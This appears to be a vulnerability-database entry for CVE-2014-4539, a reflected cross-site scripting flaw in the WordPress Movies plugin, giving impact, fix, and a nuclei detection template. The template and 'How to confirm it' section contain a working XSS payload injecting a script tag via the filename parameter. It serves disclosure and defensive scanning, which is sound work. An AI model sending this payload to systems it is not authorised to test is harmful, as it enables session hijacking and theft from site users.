HexBrain

Browse / CVEs / CVE-2014-4539

CVE-2014-4539· movies project / movies· CWE-79

Movies <= 0.6 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of the Movies plugin (version 0.7 or above) that addresses the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/movies/readme.txt
Positive when: contains "Movies =" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&
Positive when: contains "'><script>alert(document.cookie)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-4539 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-4539

info:
  name: Movies <= 0.6 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of the Movies plugin (version 0.7 or above) that addresses the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d6ea4fe6-c486-415d-8f6d-57ea2f149304
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4539
    - http://codevigilant.com/disclosure/wp-plugin-movies-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4539
    cwe-id: CWE-79
    epss-score: 0.03983
    epss-percentile: 0.90582
    cpe: cpe:2.3:a:movies_project:movies:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "movies_project"
    product: movies
    framework: wordpress
  tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,movies_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/movies/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Movies ='
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.cookie)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from